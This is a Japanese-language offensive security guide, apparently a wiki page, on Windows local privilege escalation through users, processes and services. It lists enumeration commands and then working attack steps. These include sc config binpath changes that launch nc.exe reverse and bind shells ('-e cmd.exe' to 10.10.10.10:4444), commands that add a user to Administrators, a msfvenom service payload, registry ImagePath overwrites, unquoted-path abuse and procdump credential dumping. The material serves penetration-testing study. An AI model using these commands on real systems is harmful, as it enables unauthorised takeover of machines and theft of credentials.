ユーザー・プロセス・サービスの調査
ユーザーの所属グループや特権、実行中のプロセス、サービスの設定を順に調べます。書き込み可能な場所や操作可能なサービスを、現在の権限と照らし合わせます。
ユーザーとグループ
Section titled “ユーザーとグループ”ユーザーとグループの列挙
Section titled “ユーザーとグループの列挙”現在のユーザーと所属グループを確認し、追加の操作が許されているかを調べます。
# CMD(コマンドプロンプト)net users %username% # 自分net users # ローカルユーザー全員net localgroup # グループnet localgroup Administrators # Administrators グループのメンバーwhoami /all # 権限を確認
# PS(PowerShell)Get-WmiObject -Class Win32_UserAccountGet-LocalUser | ft Name,Enabled,LastLogonGet-ChildItem C:\Users -Force | select NameGet-LocalGroupMember Administrators | ft Name, PrincipalSource特権グループ
Section titled “特権グループ”特権グループへの所属は、追加の操作ができる手がかりになります。グループごとの権限は Privileged Groups を参照してください。
トークンの操作
Section titled “トークンの操作”現在の特権の読み方と参考資料は、アクセストークンの操作にまとめています。
ログオン中のユーザーとセッション
Section titled “ログオン中のユーザーとセッション”qwinstaklist sessionsホームフォルダー
Section titled “ホームフォルダー”dir C:\UsersGet-ChildItem C:\Usersパスワードポリシー
Section titled “パスワードポリシー”net accountsクリップボードの内容
Section titled “クリップボードの内容”powershell -command "Get-Clipboard"実行中のプロセス
Section titled “実行中のプロセス”ファイルとフォルダーの権限
Section titled “ファイルとフォルダーの権限”まずプロセス一覧から実行ユーザーとコマンドラインを確認します。パスワードが引数に残っていないか、実行ファイルやそのフォルダーを書き換えられるかが主な確認点です。DLL の読み込み先については DLL Hijacking も参照してください。
Tasklist /SVC # 実行中プロセスとサービス一覧tasklist /v /fi "username eq system" # "system" プロセスをフィルタ
# ユーザー名ありGet-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
# ユーザー名なしGet-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id実行中の electron/cef/chromium デバッガ がないか必ず確認してください。これを悪用して特権昇格できる可能性があります。
プロセス バイナリの権限を確認
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( icacls "%%z"2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ))プロセス バイナリのフォルダ権限を確認(DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated userstodos %username%" && echo.)プロセスのメモリに残るパスワード
Section titled “プロセスのメモリに残るパスワード”sysinternals の procdump を使って、実行中プロセスのメモリダンプを作成できます。FTP などのサービスは**平文クレデンシャル(clear text credentials)**がメモリに残ることがあるため、ダンプして読み取ります。
procdump.exe -accepteula -ma <proc_name_tasklist>GUI アプリケーションの設定
Section titled “GUI アプリケーションの設定”SYSTEM として動作しているアプリが、ユーザーに CMD 起動やディレクトリ閲覧を許してしまう場合があります。
例: 「Windows Help and Support」(Windows + F1)で「command prompt」を検索し、「Click to open Command Prompt」をクリック
Service Triggers は、特定条件(named pipe/RPC endpoint activity、ETW events、IP availability、device arrival、GPO refresh など)で Windows がサービスを起動できる仕組みです。SERVICE_START 権限がなくても、トリガーを発火させて特権サービスを起動できることがあります。列挙と起動の手法はこちら:
サービス一覧を取得:
net startwmic service list briefsc queryGet-Servicesc を使ってサービス情報を取得できます。
sc qc <service_name>各サービスに必要な権限レベルを確認するには、Sysinternals の accesschk バイナリの利用が推奨されます。
accesschk.exe -ucqv <Service_Name> # 各グループの権限を確認“Authenticated Users” がサービスを変更できないか確認することが推奨されます:
accesschk.exe -uwcqv "Authenticated Users" * /accepteulaaccesschk.exe -uwcqv %USERNAME% * /accepteulaaccesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nulaccesschk.exe -uwcqv "Todos" * /accepteula ::Spanish versionXP 用 accesschk.exe のダウンロードはこちら
サービスの有効化
Section titled “サービスの有効化”次のエラーが出る場合(例: SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
次の通り有効化できます。
sc config SSDPSRV start= demandsc config SSDPSRV obj= ".\LocalSystem" password= ""upnphost サービスは SSDPSRV に依存する点に注意(XP SP1)
別の回避策として以下を実行:
sc.exe config usosvc start= autoサービスの実行ファイルパスを変更する
Section titled “サービスの実行ファイルパスを変更する”“Authenticated users” グループがサービスに SERVICE_ALL_ACCESS を持つ場合、サービスの実行バイナリを変更できます。sc による変更と実行の例:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"sc config <Service_Name> binpath= "net localgroup administrators username /add"sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"サービスの再起動
Section titled “サービスの再起動”wmic service NAMEOFSERVICE call startservicenet stop [service name] && net start [service name]権限は以下の許可で昇格できる場合があります:
- SERVICE_CHANGE_CONFIG: サービス バイナリの再設定を許可。
- WRITE_DAC: 権限再設定を許可し、サービス構成変更が可能。
- WRITE_OWNER: 所有権の取得と権限再設定を許可。
- GENERIC_WRITE: サービス構成変更を継承。
- GENERIC_ALL: サービス構成変更を継承。
この脆弱性の検出と悪用には exploit/windows/local/service_permissions が利用できます。
サービス実行ファイルの書き込み権限
Section titled “サービス実行ファイルの書き込み権限”サービスが実行するバイナリを変更できないか、またはバイナリがあるフォルダに書き込み権限がないかを確認します(DLL Hijacking)。
wmic(system32 以外)でサービスが実行する各バイナリを取得し、icacls で権限を確認します:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"sc と icacls を使う方法:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txtFOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txtFOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txtサービスのレジストリ変更権限
Section titled “サービスのレジストリ変更権限”サービス レジストリを変更できないか確認します。
次の方法でサービス レジストリに対する権限を確認できます:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath # サービスのバイナリ パスを取得
# 各サービスに現在の内容で書き込みを試し、書き込み権限があるか確認for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"Authenticated Users または NT AUTHORITY\INTERACTIVE が FullControl 権限を持つか確認してください。該当する場合、サービスが実行するバイナリを変更できます。
実行バイナリのパスを変更するには:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /fサービスのレジストリ追加権限
Section titled “サービスのレジストリ追加権限”レジストリに対してこの権限がある場合、ここからサブ レジストリを作成できることを意味します。Windows サービスの場合、任意コード実行に十分です:
AppendData/AddSubdirectory permission over service registry
引用符のないサービスパス
Section titled “引用符のないサービスパス”実行ファイルのパスが引用符で囲まれていない場合、Windows はスペース前の各末尾までを順に実行しようとします。
例: パスが C:\Program Files\Some Folder\Service.exe の場合、Windows は次を実行しようとします:
C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Folder\Service.exeビルトイン Windows サービスを除外して、引用符なしサービス パスを列挙:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # auto サービス以外も含む
# PowerUp.ps1 を使用Get-ServiceUnquoted -Verbosefor /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. ))gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,NameMetasploit で検出と悪用が可能です: exploit/windows/local/trusted_service_path。Metasploit で手動作成する場合:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exeサービスの回復処理
Section titled “サービスの回復処理”Windows はサービス障害時に実行するアクションを指定できます。この機能はバイナリを指すように設定可能で、そのバイナリを置き換えられる場合は特権昇格が可能になるかもしれません。詳細は公式ドキュメントを参照してください。

